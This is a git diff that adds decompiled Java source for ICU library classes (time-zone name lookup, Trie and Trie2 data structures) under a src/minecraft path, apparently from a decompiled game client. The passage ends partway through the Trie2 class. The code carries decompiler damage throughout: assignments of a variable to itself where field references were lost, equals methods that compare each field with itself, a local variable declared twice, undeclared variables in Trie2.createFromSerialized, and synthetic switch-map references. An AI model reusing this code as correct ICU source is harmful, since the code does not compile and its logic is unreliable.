+    return Collections.unmodifiableSet(mzIDs);
+  }
+  
+
+
+
+  public String getMetaZoneID(String tzID, long date)
+  {
+    if ((tzID == null) || (tzID.length() == 0)) {
+      return null;
+    }
+    String mzID = null;
+    List<MZMapEntry> maps = (List)TZ_TO_MZS_CACHE.getInstance(tzID, tzID);
+    for (MZMapEntry map : maps) {
+      if ((date >= map.from()) && (date < map.to())) {
+        mzID = map.mzID();
+        break;
+      }
+    }
+    return mzID;
+  }
+  
+
+
+
+  public String getReferenceZoneID(String mzID, String region)
+  {
+    if ((mzID == null) || (mzID.length() == 0)) {
+      return null;
+    }
+    String refID = null;
+    Map<String, String> regionTzMap = (Map)MZ_TO_TZS_CACHE.getInstance(mzID, mzID);
+    if (!regionTzMap.isEmpty()) {
+      refID = (String)regionTzMap.get(region);
+      if (refID == null) {
+        refID = (String)regionTzMap.get("001");
+      }
+    }
+    return refID;
+  }
+  
+
+
+
+
+  public String getMetaZoneDisplayName(String mzID, TimeZoneNames.NameType type)
+  {
+    if ((mzID == null) || (mzID.length() == 0)) {
+      return null;
+    }
+    return loadMetaZoneNames(mzID).getName(type);
+  }
+  
+
+
+
+
+  public String getTimeZoneDisplayName(String tzID, TimeZoneNames.NameType type)
+  {
+    if ((tzID == null) || (tzID.length() == 0)) {
+      return null;
+    }
+    return loadTimeZoneNames(tzID).getName(type);
+  }
+  
+
+
+
+  public String getExemplarLocationName(String tzID)
+  {
+    if ((tzID == null) || (tzID.length() == 0)) {
+      return null;
+    }
+    String locName = loadTimeZoneNames(tzID).getName(TimeZoneNames.NameType.EXEMPLAR_LOCATION);
+    return locName;
+  }
+  
+
+
+
+  public synchronized Collection<TimeZoneNames.MatchInfo> find(CharSequence text, int start, EnumSet<TimeZoneNames.NameType> nameTypes)
+  {
+    if ((text == null) || (text.length() == 0) || (start < 0) || (start >= text.length())) {
+      throw new IllegalArgumentException("bad input text or range");
+    }
+    NameSearchHandler handler = new NameSearchHandler(nameTypes);
+    _namesTrie.find(text, start, handler);
+    if ((handler.getMaxMatchLen() == text.length() - start) || (_namesTrieFullyLoaded))
+    {
+      return handler.getMatches();
+    }
+    
+
+
+
+    Set<String> tzIDs = TimeZone.getAvailableIDs(TimeZone.SystemTimeZoneType.CANONICAL, null, null);
+    for (String tzID : tzIDs) {
+      loadTimeZoneNames(tzID);
+    }
+    
+
+    Set<String> mzIDs = getAvailableMetaZoneIDs();
+    for (String mzID : mzIDs) {
+      loadMetaZoneNames(mzID);
+    }
+    _namesTrieFullyLoaded = true;
+    
+
+    handler.resetResults();
+    _namesTrie.find(text, start, handler);
+    return handler.getMatches();
+  }
+  
+
+
+
+
+
+  private void initialize(ULocale locale)
+  {
+    ICUResourceBundle bundle = (ICUResourceBundle)ICUResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/zone", locale);
+    
+    _zoneStrings = ((ICUResourceBundle)bundle.get("zoneStrings"));
+    
+    _tzNamesMap = new ConcurrentHashMap();
+    _mzNamesMap = new ConcurrentHashMap();
+    
+    _namesTrie = new TextTrieMap(true);
+    _namesTrieFullyLoaded = false;
+    
+
+    TimeZone tz = TimeZone.getDefault();
+    String tzCanonicalID = ZoneMeta.getCanonicalCLDRID(tz);
+    if (tzCanonicalID != null) {
+      loadStrings(tzCanonicalID);
+    }
+  }
+  
+
+
+
+
+
+  private synchronized void loadStrings(String tzCanonicalID)
+  {
+    if ((tzCanonicalID == null) || (tzCanonicalID.length() == 0)) {
+      return;
+    }
+    loadTimeZoneNames(tzCanonicalID);
+    
+    Set<String> mzIDs = getAvailableMetaZoneIDs(tzCanonicalID);
+    for (String mzID : mzIDs) {
+      loadMetaZoneNames(mzID);
+    }
+  }
+  
+
+
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    ULocale locale = _zoneStrings.getULocale();
+    out.writeObject(locale);
+  }
+  
+
+
+  private void readObject(ObjectInputStream in)
+    throws IOException, ClassNotFoundException
+  {
+    ULocale locale = (ULocale)in.readObject();
+    initialize(locale);
+  }
+  
+
+
+
+
+
+  private synchronized ZNames loadMetaZoneNames(String mzID)
+  {
+    ZNames znames = (ZNames)_mzNamesMap.get(mzID);
+    if (znames == null) {
+      znames = ZNames.getInstance(_zoneStrings, "meta:" + mzID);
+      
+      mzID = mzID.intern();
+      for (TimeZoneNames.NameType t : TimeZoneNames.NameType.values()) {
+        String name = znames.getName(t);
+        if (name != null) {
+          NameInfo info = new NameInfo(null);
+          mzID = mzID;
+          type = t;
+          _namesTrie.put(name, info);
+        }
+      }
+      ZNames tmpZnames = (ZNames)_mzNamesMap.putIfAbsent(mzID, znames);
+      znames = tmpZnames == null ? znames : tmpZnames;
+    }
+    return znames;
+  }
+  
+
+
+
+
+
+  private synchronized TZNames loadTimeZoneNames(String tzID)
+  {
+    TZNames tznames = (TZNames)_tzNamesMap.get(tzID);
+    if (tznames == null) {
+      tznames = TZNames.getInstance(_zoneStrings, tzID.replace('/', ':'), tzID);
+      
+      tzID = tzID.intern();
+      for (TimeZoneNames.NameType t : TimeZoneNames.NameType.values()) {
+        String name = tznames.getName(t);
+        if (name != null) {
+          NameInfo info = new NameInfo(null);
+          tzID = tzID;
+          type = t;
+          _namesTrie.put(name, info);
+        }
+      }
+      TZNames tmpTznames = (TZNames)_tzNamesMap.putIfAbsent(tzID, tznames);
+      tznames = tmpTznames == null ? tznames : tmpTznames;
+    }
+    return tznames;
+  }
+  
+  private static class NameInfo
+  {
+    String tzID;
+    String mzID;
+    TimeZoneNames.NameType type;
+    
+    private NameInfo() {}
+  }
+  
+  private static class NameSearchHandler
+    implements TextTrieMap.ResultHandler<TimeZoneNamesImpl.NameInfo>
+  {
+    private EnumSet<TimeZoneNames.NameType> _nameTypes;
+    private Collection<TimeZoneNames.MatchInfo> _matches;
+    private int _maxMatchLen;
+    
+    NameSearchHandler(EnumSet<TimeZoneNames.NameType> nameTypes)
+    {
+      _nameTypes = nameTypes;
+    }
+    
+
+
+    public boolean handlePrefixMatch(int matchLength, Iterator<TimeZoneNamesImpl.NameInfo> values)
+    {
+      while (values.hasNext()) {
+        TimeZoneNamesImpl.NameInfo ninfo = (TimeZoneNamesImpl.NameInfo)values.next();
+        if ((_nameTypes == null) || (_nameTypes.contains(type)))
+        {
+          TimeZoneNames.MatchInfo minfo;
+          TimeZoneNames.MatchInfo minfo;
+          if (tzID != null) {
+            minfo = new TimeZoneNames.MatchInfo(type, tzID, null, matchLength);
+          } else {
+            assert (mzID != null);
+            minfo = new TimeZoneNames.MatchInfo(type, null, mzID, matchLength);
+          }
+          if (_matches == null) {
+            _matches = new LinkedList();
+          }
+          _matches.add(minfo);
+          if (matchLength > _maxMatchLen)
+            _maxMatchLen = matchLength;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+    public Collection<TimeZoneNames.MatchInfo> getMatches()
+    {
+      if (_matches == null) {
+        return Collections.emptyList();
+      }
+      return _matches;
+    }
+    
+
+
+
+    public int getMaxMatchLen()
+    {
+      return _maxMatchLen;
+    }
+    
+
+
+    public void resetResults()
+    {
+      _matches = null;
+      _maxMatchLen = 0;
+    }
+  }
+  
+
+
+  private static class ZNames
+  {
+    private static final ZNames EMPTY_ZNAMES = new ZNames(null);
+    
+    private String[] _names;
+    
+    private static final String[] KEYS = { "lg", "ls", "ld", "sg", "ss", "sd" };
+    
+    protected ZNames(String[] names) {
+      _names = names;
+    }
+    
+    public static ZNames getInstance(ICUResourceBundle zoneStrings, String key) {
+      String[] names = loadData(zoneStrings, key);
+      if (names == null) {
+        return EMPTY_ZNAMES;
+      }
+      return new ZNames(names);
+    }
+    
+    public String getName(TimeZoneNames.NameType type) {
+      if (_names == null) {
+        return null;
+      }
+      String name = null;
+      switch (TimeZoneNamesImpl.1.$SwitchMap$com$ibm$icu$text$TimeZoneNames$NameType[type.ordinal()]) {
+      case 1: 
+        name = _names[0];
+        break;
+      case 2: 
+        name = _names[1];
+        break;
+      case 3: 
+        name = _names[2];
+        break;
+      case 4: 
+        name = _names[3];
+        break;
+      case 5: 
+        name = _names[4];
+        break;
+      case 6: 
+        name = _names[5];
+        break;
+      case 7: 
+        name = null;
+      }
+      
+      
+      return name;
+    }
+    
+    protected static String[] loadData(ICUResourceBundle zoneStrings, String key) {
+      if ((zoneStrings == null) || (key == null) || (key.length() == 0)) {
+        return null;
+      }
+      
+      ICUResourceBundle table = null;
+      try {
+        table = zoneStrings.getWithFallback(key);
+      } catch (MissingResourceException e) {
+        return null;
+      }
+      
+      boolean isEmpty = true;
+      String[] names = new String[KEYS.length];
+      for (int i = 0; i < names.length; i++) {
+        try {
+          names[i] = table.getStringWithFallback(KEYS[i]);
+          isEmpty = false;
+        } catch (MissingResourceException e) {
+          names[i] = null;
+        }
+      }
+      
+      if (isEmpty) {
+        return null;
+      }
+      
+      return names;
+    }
+  }
+  
+
+  private static class TZNames
+    extends TimeZoneNamesImpl.ZNames
+  {
+    private String _locationName;
+    
+    private static final TZNames EMPTY_TZNAMES = new TZNames(null, null);
+    
+    public static TZNames getInstance(ICUResourceBundle zoneStrings, String key, String tzID) {
+      if ((zoneStrings == null) || (key == null) || (key.length() == 0)) {
+        return EMPTY_TZNAMES;
+      }
+      
+      String[] names = loadData(zoneStrings, key);
+      String locationName = null;
+      
+      ICUResourceBundle table = null;
+      try {
+        table = zoneStrings.getWithFallback(key);
+        locationName = table.getStringWithFallback("ec");
+      }
+      catch (MissingResourceException e) {}
+      
+
+      if (locationName == null) {
+        locationName = TimeZoneNamesImpl.getDefaultExemplarLocationName(tzID);
+      }
+      
+      if ((locationName == null) && (names == null)) {
+        return EMPTY_TZNAMES;
+      }
+      return new TZNames(names, locationName);
+    }
+    
+    public String getName(TimeZoneNames.NameType type) {
+      if (type == TimeZoneNames.NameType.EXEMPLAR_LOCATION) {
+        return _locationName;
+      }
+      return super.getName(type);
+    }
+    
+    private TZNames(String[] names, String locationName) {
+      super();
+      _locationName = locationName;
+    }
+  }
+  
+
+  private static class MZMapEntry
+  {
+    private String _mzID;
+    
+    private long _from;
+    
+    private long _to;
+    
+    MZMapEntry(String mzID, long from, long to)
+    {
+      _mzID = mzID;
+      _from = from;
+      _to = to;
+    }
+    
+    String mzID() {
+      return _mzID;
+    }
+    
+    long from() {
+      return _from;
+    }
+    
+    long to() {
+      return _to;
+    }
+  }
+  
+  private static class TZ2MZsCache extends SoftCache<String, List<TimeZoneNamesImpl.MZMapEntry>, String>
+  {
+    private TZ2MZsCache() {}
+    
+    protected List<TimeZoneNamesImpl.MZMapEntry> createInstance(String key, String data)
+    {
+      List<TimeZoneNamesImpl.MZMapEntry> mzMaps = null;
+      
+      UResourceBundle bundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "metaZones");
+      UResourceBundle metazoneInfoBundle = bundle.get("metazoneInfo");
+      
+      String tzkey = data.replace('/', ':');
+      try {
+        UResourceBundle zoneBundle = metazoneInfoBundle.get(tzkey);
+        
+        mzMaps = new ArrayList(zoneBundle.getSize());
+        for (int idx = 0; idx < zoneBundle.getSize(); idx++) {
+          UResourceBundle mz = zoneBundle.get(idx);
+          String mzid = mz.getString(0);
+          String fromStr = "1970-01-01 00:00";
+          String toStr = "9999-12-31 23:59";
+          if (mz.getSize() == 3) {
+            fromStr = mz.getString(1);
+            toStr = mz.getString(2);
+          }
+          
+          long from = parseDate(fromStr);
+          long to = parseDate(toStr);
+          mzMaps.add(new TimeZoneNamesImpl.MZMapEntry(mzid, from, to));
+        }
+      }
+      catch (MissingResourceException mre) {
+        mzMaps = Collections.emptyList();
+      }
+      return mzMaps;
+    }
+    
+
+
+
+
+
+
+
+    private static long parseDate(String text)
+    {
+      int year = 0;int month = 0;int day = 0;int hour = 0;int min = 0;
+      
+
+
+
+      for (int idx = 0; idx <= 3; idx++) {
+        int n = text.charAt(idx) - '0';
+        if ((n >= 0) && (n < 10)) {
+          year = 10 * year + n;
+        } else {
+          throw new IllegalArgumentException("Bad year");
+        }
+      }
+      
+      for (idx = 5; idx <= 6; idx++) {
+        int n = text.charAt(idx) - '0';
+        if ((n >= 0) && (n < 10)) {
+          month = 10 * month + n;
+        } else {
+          throw new IllegalArgumentException("Bad month");
+        }
+      }
+      
+      for (idx = 8; idx <= 9; idx++) {
+        int n = text.charAt(idx) - '0';
+        if ((n >= 0) && (n < 10)) {
+          day = 10 * day + n;
+        } else {
+          throw new IllegalArgumentException("Bad day");
+        }
+      }
+      
+      for (idx = 11; idx <= 12; idx++) {
+        int n = text.charAt(idx) - '0';
+        if ((n >= 0) && (n < 10)) {
+          hour = 10 * hour + n;
+        } else {
+          throw new IllegalArgumentException("Bad hour");
+        }
+      }
+      
+      for (idx = 14; idx <= 15; idx++) {
+        int n = text.charAt(idx) - '0';
+        if ((n >= 0) && (n < 10)) {
+          min = 10 * min + n;
+        } else {
+          throw new IllegalArgumentException("Bad minute");
+        }
+      }
+      
+      long date = Grego.fieldsToDay(year, month - 1, day) * 86400000L + hour * 3600000L + min * 60000L;
+      
+      return date;
+    }
+  }
+  
+
+
+  private static class MZ2TZsCache
+    extends SoftCache<String, Map<String, String>, String>
+  {
+    private MZ2TZsCache() {}
+    
+
+
+    protected Map<String, String> createInstance(String key, String data)
+    {
+      Map<String, String> map = null;
+      
+      UResourceBundle bundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "metaZones");
+      UResourceBundle mapTimezones = bundle.get("mapTimezones");
+      try
+      {
+        regionMap = mapTimezones.get(key);
+        
+        Set<String> regions = regionMap.keySet();
+        map = new HashMap(regions.size());
+        
+        for (String region : regions) {
+          String tzID = regionMap.getString(region).intern();
+          map.put(region.intern(), tzID);
+        }
+      } catch (MissingResourceException e) { UResourceBundle regionMap;
+        map = Collections.emptyMap();
+      }
+      return map;
+    }
+  }
+  
+  private static final Pattern LOC_EXCLUSION_PATTERN = Pattern.compile("Etc/.*|SystemV/.*|.*/Riyadh8[7-9]");
+  
+
+
+
+
+  public static String getDefaultExemplarLocationName(String tzID)
+  {
+    if ((tzID == null) || (tzID.length() == 0) || (LOC_EXCLUSION_PATTERN.matcher(tzID).matches())) {
+      return null;
+    }
+    
+    String location = null;
+    int sep = tzID.lastIndexOf('/');
+    if ((sep > 0) && (sep + 1 < tzID.length())) {
+      location = tzID.substring(sep + 1).replace('_', ' ');
+    }
+    
+    return location;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Trie.java b/src/minecraft/com/ibm/icu/impl/Trie.java
new file mode 100644
index 0000000..d9ea4ce
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Trie.java
@@ -0,0 +1,470 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Trie
+{
+  protected static final int LEAD_INDEX_OFFSET_ = 320;
+  protected static final int INDEX_STAGE_1_SHIFT_ = 5;
+  protected static final int INDEX_STAGE_2_SHIFT_ = 2;
+  protected static final int DATA_BLOCK_LENGTH = 32;
+  protected static final int INDEX_STAGE_3_MASK_ = 31;
+  protected static final int SURROGATE_BLOCK_BITS = 5;
+  protected static final int SURROGATE_BLOCK_COUNT = 32;
+  protected static final int BMP_INDEX_LENGTH = 2048;
+  protected static final int SURROGATE_MASK_ = 1023;
+  protected char[] m_index_;
+  protected DataManipulate m_dataManipulate_;
+  protected int m_dataOffset_;
+  protected int m_dataLength_;
+  protected static final int HEADER_LENGTH_ = 16;
+  protected static final int HEADER_OPTIONS_LATIN1_IS_LINEAR_MASK_ = 512;
+  protected static final int HEADER_SIGNATURE_ = 1416784229;
+  private static final int HEADER_OPTIONS_SHIFT_MASK_ = 15;
+  protected static final int HEADER_OPTIONS_INDEX_SHIFT_ = 4;
+  protected static final int HEADER_OPTIONS_DATA_IS_32_BIT_ = 256;
+  private boolean m_isLatin1Linear_;
+  private int m_options_;
+  
+  private static class DefaultGetFoldingOffset
+    implements Trie.DataManipulate
+  {
+    private DefaultGetFoldingOffset() {}
+    
+    public int getFoldingOffset(int value)
+    {
+      return value;
+    }
+  }
+  
+
+
+
+
+
+
+  public final boolean isLatin1Linear()
+  {
+    return m_isLatin1Linear_;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if (!(other instanceof Trie)) {
+      return false;
+    }
+    Trie othertrie = (Trie)other;
+    return (m_isLatin1Linear_ == m_isLatin1Linear_) && (m_options_ == m_options_) && (m_dataLength_ == m_dataLength_) && (Arrays.equals(m_index_, m_index_));
+  }
+  
+
+
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getSerializedDataSize()
+  {
+    int result = 16;
+    result += (m_dataOffset_ << 1);
+    if (isCharTrie()) {
+      result += (m_dataLength_ << 1);
+    }
+    else if (isIntTrie()) {
+      result += (m_dataLength_ << 2);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected Trie(InputStream inputStream, DataManipulate dataManipulate)
+    throws IOException
+  {
+    DataInputStream input = new DataInputStream(inputStream);
+    
+    int signature = input.readInt();
+    m_options_ = input.readInt();
+    
+    if (!checkHeader(signature)) {
+      throw new IllegalArgumentException("ICU data file error: Trie header authentication failed, please check if you have the most updated ICU data file");
+    }
+    
+    if (dataManipulate != null) {
+      m_dataManipulate_ = dataManipulate;
+    } else {
+      m_dataManipulate_ = new DefaultGetFoldingOffset(null);
+    }
+    m_isLatin1Linear_ = ((m_options_ & 0x200) != 0);
+    
+    m_dataOffset_ = input.readInt();
+    m_dataLength_ = input.readInt();
+    unserialize(inputStream);
+  }
+  
+
+
+
+
+
+
+
+  protected Trie(char[] index, int options, DataManipulate dataManipulate)
+  {
+    m_options_ = options;
+    if (dataManipulate != null) {
+      m_dataManipulate_ = dataManipulate;
+    } else {
+      m_dataManipulate_ = new DefaultGetFoldingOffset(null);
+    }
+    m_isLatin1Linear_ = ((m_options_ & 0x200) != 0);
+    
+    m_index_ = index;
+    m_dataOffset_ = m_index_.length;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract int getSurrogateOffset(char paramChar1, char paramChar2);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract int getValue(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract int getInitialValue();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final int getRawOffset(int offset, char ch)
+  {
+    return (m_index_[(offset + (ch >> '\005'))] << '\002') + (ch & 0x1F);
+  }
+  
+
+
+
+
+
+
+
+
+  protected final int getBMPOffset(char ch)
+  {
+    return (ch >= 55296) && (ch <= 56319) ? getRawOffset(320, ch) : getRawOffset(0, ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final int getLeadOffset(char ch)
+  {
+    return getRawOffset(0, ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected final int getCodePointOffset(int ch)
+  {
+    if (ch < 0)
+      return -1;
+    if (ch < 55296)
+    {
+      return getRawOffset(0, (char)ch); }
+    if (ch < 65536)
+    {
+      return getBMPOffset((char)ch); }
+    if (ch <= 1114111)
+    {
+
+      return getSurrogateOffset(UTF16.getLeadSurrogate(ch), (char)(ch & 0x3FF));
+    }
+    
+
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  protected void unserialize(InputStream inputStream)
+    throws IOException
+  {
+    m_index_ = new char[m_dataOffset_];
+    DataInputStream input = new DataInputStream(inputStream);
+    for (int i = 0; i < m_dataOffset_; i++) {
+      m_index_[i] = input.readChar();
+    }
+  }
+  
+
+
+
+
+  protected final boolean isIntTrie()
+  {
+    return (m_options_ & 0x100) != 0;
+  }
+  
+
+
+
+
+  protected final boolean isCharTrie()
+  {
+    return (m_options_ & 0x100) == 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final boolean checkHeader(int signature)
+  {
+    if (signature != 1416784229) {
+      return false;
+    }
+    
+    if (((m_options_ & 0xF) != 5) || ((m_options_ >> 4 & 0xF) != 2))
+    {
+
+
+
+      return false;
+    }
+    return true;
+  }
+  
+  public static abstract interface DataManipulate
+  {
+    public abstract int getFoldingOffset(int paramInt);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Trie2.java b/src/minecraft/com/ibm/icu/impl/Trie2.java
new file mode 100644
index 0000000..63823f7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Trie2.java
@@ -0,0 +1,1054 @@
+package com.ibm.icu.impl;
+
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Trie2
+  implements Iterable<Range>
+{
+  public Trie2() {}
+  
+  public static Trie2 createFromSerialized(InputStream is)
+    throws IOException
+  {
+    DataInputStream dis = new DataInputStream(is);
+    boolean needByteSwap = false;
+    
+    UTrie2Header header = new UTrie2Header();
+    
+
+    signature = dis.readInt();
+    switch (signature) {
+    case 1416784178: 
+      needByteSwap = false;
+      break;
+    case 845771348: 
+      needByteSwap = true;
+      signature = Integer.reverseBytes(signature);
+      break;
+    default: 
+      throw new IllegalArgumentException("Stream does not contain a serialized UTrie2");
+    }
+    
+    options = swapShort(needByteSwap, dis.readUnsignedShort());
+    indexLength = swapShort(needByteSwap, dis.readUnsignedShort());
+    shiftedDataLength = swapShort(needByteSwap, dis.readUnsignedShort());
+    index2NullOffset = swapShort(needByteSwap, dis.readUnsignedShort());
+    dataNullOffset = swapShort(needByteSwap, dis.readUnsignedShort());
+    shiftedHighStart = swapShort(needByteSwap, dis.readUnsignedShort());
+    
+
+
+    if ((options & 0xF) > 1)
+      throw new IllegalArgumentException("UTrie2 serialized format error.");
+    Trie2 This;
+    ValueWidth width;
+    Trie2 This;
+    if ((options & 0xF) == 0) {
+      ValueWidth width = ValueWidth.BITS_16;
+      This = new Trie2_16();
+    } else {
+      width = ValueWidth.BITS_32;
+      This = new Trie2_32();
+    }
+    header = header;
+    
+
+    indexLength = indexLength;
+    dataLength = (shiftedDataLength << 2);
+    index2NullOffset = index2NullOffset;
+    dataNullOffset = dataNullOffset;
+    highStart = (shiftedHighStart << 11);
+    highValueIndex = (dataLength - 4);
+    if (width == ValueWidth.BITS_16) {
+      highValueIndex += indexLength;
+    }
+    
+
+
+
+    int indexArraySize = indexLength;
+    if (width == ValueWidth.BITS_16) {
+      indexArraySize += dataLength;
+    }
+    index = new char[indexArraySize];
+    
+
+
+    for (int i = 0; i < indexLength; i++) {
+      index[i] = swapChar(needByteSwap, dis.readChar());
+    }
+    
+
+
+
+    if (width == ValueWidth.BITS_16) {
+      data16 = indexLength;
+      for (i = 0; i < dataLength; i++) {
+        index[(data16 + i)] = swapChar(needByteSwap, dis.readChar());
+      }
+    }
+    data32 = new int[dataLength];
+    for (i = 0; i < dataLength; i++) {
+      data32[i] = swapInt(needByteSwap, dis.readInt());
+    }
+    
+
+    switch (2.$SwitchMap$com$ibm$icu$impl$Trie2$ValueWidth[width.ordinal()]) {
+    case 1: 
+      data32 = null;
+      initialValue = index[dataNullOffset];
+      errorValue = index[(data16 + 128)];
+      break;
+    case 2: 
+      data16 = 0;
+      initialValue = data32[dataNullOffset];
+      errorValue = data32['€'];
+      break;
+    default: 
+      throw new IllegalArgumentException("UTrie2 serialized format error.");
+    }
+    
+    return This;
+  }
+  
+  private static int swapShort(boolean needSwap, int value)
+  {
+    return needSwap ? Short.reverseBytes((short)value) & 0xFFFF : value;
+  }
+  
+  private static char swapChar(boolean needSwap, char value) {
+    return needSwap ? (char)Short.reverseBytes((short)value) : value;
+  }
+  
+  private static int swapInt(boolean needSwap, int value) {
+    return needSwap ? Integer.reverseBytes(value) : value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getVersion(InputStream is, boolean littleEndianOk)
+    throws IOException
+  {
+    if (!is.markSupported()) {
+      throw new IllegalArgumentException("Input stream must support mark().");
+    }
+    is.mark(4);
+    byte[] sig = new byte[4];
+    int read = is.read(sig);
+    is.reset();
+    
+    if (read != sig.length) {
+      return 0;
+    }
+    
+    if ((sig[0] == 84) && (sig[1] == 114) && (sig[2] == 105) && (sig[3] == 101)) {
+      return 1;
+    }
+    if ((sig[0] == 84) && (sig[1] == 114) && (sig[2] == 105) && (sig[3] == 50)) {
+      return 2;
+    }
+    if (littleEndianOk) {
+      if ((sig[0] == 101) && (sig[1] == 105) && (sig[2] == 114) && (sig[3] == 84)) {
+        return 1;
+      }
+      if ((sig[0] == 50) && (sig[1] == 105) && (sig[2] == 114) && (sig[3] == 84)) {
+        return 2;
+      }
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int get(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int getFromU16SingleLead(char paramChar);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean equals(Object other)
+  {
+    if (!(other instanceof Trie2)) {
+      return false;
+    }
+    Trie2 OtherTrie = (Trie2)other;
+    
+
+    Iterator<Range> otherIter = OtherTrie.iterator();
+    for (Range rangeFromThis : this) {
+      if (!otherIter.hasNext()) {
+        return false;
+      }
+      Range rangeFromOther = (Range)otherIter.next();
+      if (!rangeFromThis.equals(rangeFromOther)) {
+        return false;
+      }
+    }
+    if (otherIter.hasNext()) {
+      return false;
+    }
+    
+    if ((errorValue != errorValue) || (initialValue != initialValue))
+    {
+      return false;
+    }
+    
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    if (fHash == 0) {
+      int hash = initHash();
+      for (Range r : this) {
+        hash = hashInt(hash, r.hashCode());
+      }
+      if (hash == 0) {
+        hash = 1;
+      }
+      fHash = hash;
+    }
+    return fHash;
+  }
+  
+
+  public static class Range
+  {
+    public int startCodePoint;
+    
+    public int endCodePoint;
+    
+    public int value;
+    
+    public boolean leadSurrogate;
+    
+    public Range() {}
+    
+    public boolean equals(Object other)
+    {
+      if ((other == null) || (!other.getClass().equals(getClass()))) {
+        return false;
+      }
+      Range tother = (Range)other;
+      return (startCodePoint == startCodePoint) && (endCodePoint == endCodePoint) && (value == value) && (leadSurrogate == leadSurrogate);
+    }
+    
+
+
+
+    public int hashCode()
+    {
+      int h = Trie2.access$000();
+      h = Trie2.hashUChar32(h, startCodePoint);
+      h = Trie2.hashUChar32(h, endCodePoint);
+      h = Trie2.hashInt(h, value);
+      h = Trie2.hashByte(h, leadSurrogate ? 1 : 0);
+      return h;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public Iterator<Range> iterator()
+  {
+    return iterator(defaultValueMapper);
+  }
+  
+  private static ValueMapper defaultValueMapper = new ValueMapper() {
+    public int map(int in) {
+      return in;
+    }
+  };
+  UTrie2Header header;
+  char[] index;
+  int data16;
+  int[] data32;
+  int indexLength;
+  int dataLength;
+  int index2NullOffset;
+  int initialValue;
+  int errorValue;
+  int highStart;
+  
+  public Iterator<Range> iterator(ValueMapper mapper) {
+    return new Trie2Iterator(mapper);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Iterator<Range> iteratorForLeadSurrogate(char lead, ValueMapper mapper)
+  {
+    return new Trie2Iterator(lead, mapper);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Iterator<Range> iteratorForLeadSurrogate(char lead)
+  {
+    return new Trie2Iterator(lead, defaultValueMapper);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int serializeHeader(DataOutputStream dos)
+    throws IOException
+  {
+    int bytesWritten = 0;
+    
+    dos.writeInt(header.signature);
+    dos.writeShort(header.options);
+    dos.writeShort(header.indexLength);
+    dos.writeShort(header.shiftedDataLength);
+    dos.writeShort(header.index2NullOffset);
+    dos.writeShort(header.dataNullOffset);
+    dos.writeShort(header.shiftedHighStart);
+    bytesWritten += 16;
+    
+
+
+    for (int i = 0; i < header.indexLength; i++) {
+      dos.writeChar(index[i]);
+    }
+    bytesWritten += header.indexLength;
+    return bytesWritten;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CharSequenceIterator charSequenceIterator(CharSequence text, int index)
+  {
+    return new CharSequenceIterator(text, index);
+  }
+  
+  public static abstract interface ValueMapper
+  {
+    public abstract int map(int paramInt);
+  }
+  
+  public static class CharSequenceValues {
+    public int index;
+    public int codePoint;
+    public int value;
+    
+    public CharSequenceValues() {}
+  }
+  
+  public class CharSequenceIterator implements Iterator<Trie2.CharSequenceValues> {
+    private CharSequence text;
+    private int textLength;
+    private int index;
+    
+    CharSequenceIterator(CharSequence t, int index) {
+      text = t;
+      textLength = text.length();
+      set(index);
+    }
+    
+
+
+
